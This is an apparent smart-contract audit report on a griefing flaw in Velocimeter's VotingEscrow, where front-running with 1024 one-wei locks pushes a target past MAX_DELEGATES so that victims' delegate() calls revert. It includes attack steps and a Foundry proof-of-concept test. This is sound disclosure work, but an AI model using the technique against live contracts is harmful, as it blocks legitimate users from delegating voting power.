Wonderful Coconut Corgi

High

# Anyone can grief users `delegate()` transaction

## Summary
The `votingEscrow` contract contains a vulnerability that allows an attacker to prevent legitimate users from delegating their token locks. By front-running and exploiting the delegate function, an attacker can reach the maximum limit of delegates (ie. 1024) for a given address, causing subsequent legitimate delegate transactions to revert.

## Vulnerability Detail
- The `VotingEscrow` contract allows users to create token locks and delegate them to other addresses.
```solidity
function delegate(address delegatee) public {
    if (delegatee == address(0)) delegatee = msg.sender;
    return _delegate(msg.sender, delegatee);
}
```
-  However, the contract imposes a limit on the number of locks that can be delegated to a single address, defined by escrow.MAX_DELEGATES().

```solidity
require( dstRepOld.length + 1 <= MAX_DELEGATES, "dstRep would have too many tokenIds"  );
```
-  An attacker can exploit this by front-running a legitimate delegation transaction and creating multiple small token locks, delegating each to the same target address.
- Once the number of delegated locks reaches the MAX_DELEGATES limit, any subsequent attempts to delegate additional locks to the same address will revert with an error.
- Attacker steps :
	1.	Alice send a transactions to delegate significant token lock to Bob.
	2.	Charlie observes and front-runs Alice’s delegation transactions.
	3.	Charlie adds a transactions that creates 1024 small locks (1 wei each) and delegates them to Bob.
	4.	Bob reaches the maximum delegate limit (escrow.MAX_DELEGATES()).
	5.	Alice’s delegation transaction reverts due to the exceeded delegate limit.
- Refer POC for more detail.

- Note : This is different from the GAS_LIMIT issue (Optimism has limit 15M), even if that were fixed, this issue would still persist.

## Impact
- Malicious users can grief victims `delegate()` transactions.
- This can be exploited whenever there will be attempt to create consolidation of voting power on specific address.

## Code Snippet
- https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1282-L1285
- https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1398-L1401

## POC
- Place the test in the VotingEscrow.t.sol file of the test suite and run it using the command: "forge test --mt testMaxDelegateGrief -vvv"

```solidity
function testMaxDelegateGrief() public {

      //We have 
      address Alice   = address(this);
      address Bob     = address(0x123);
      address Charlie = address(0x234);

      //Alice creates a lock 
      flowDaiPair.approve(address(escrow), TOKEN_1);
      uint tokenId = escrow.create_lock(TOKEN_1, 1 weeks);

      //Now Alice wants to delegate this lock to Bob
          //escrow.delegate(Bob);

      //Before that Charlie fronts Alice transction and creates 1024 locks with one wei and 
      //delegates that to Bob

      for(uint256 i = 0; i < escrow.MAX_DELEGATES(); i++) {
          vm.roll(block.number + 1);
          vm.warp(block.timestamp + 1);
          flowDaiPair.transfer(Charlie, 1 wei);
          vm.startPrank(Charlie);
          flowDaiPair.approve(address(escrow), 1 wei);
          escrow.create_lock(1 wei, 1 weeks);
          escrow.delegate(Bob);
          vm.stopPrank();
         }

      //So now when Alices transaction is processed it will revert because of the limit of 1024 tokens.
      vm.expectRevert("dstRep would have too many tokenIds");
      escrow.delegate(Bob);

  }

```


## Tool used
Manual Review and Foundary

## Recommendation
- Put a limit on how many tokens a single user can delegate to specific address.
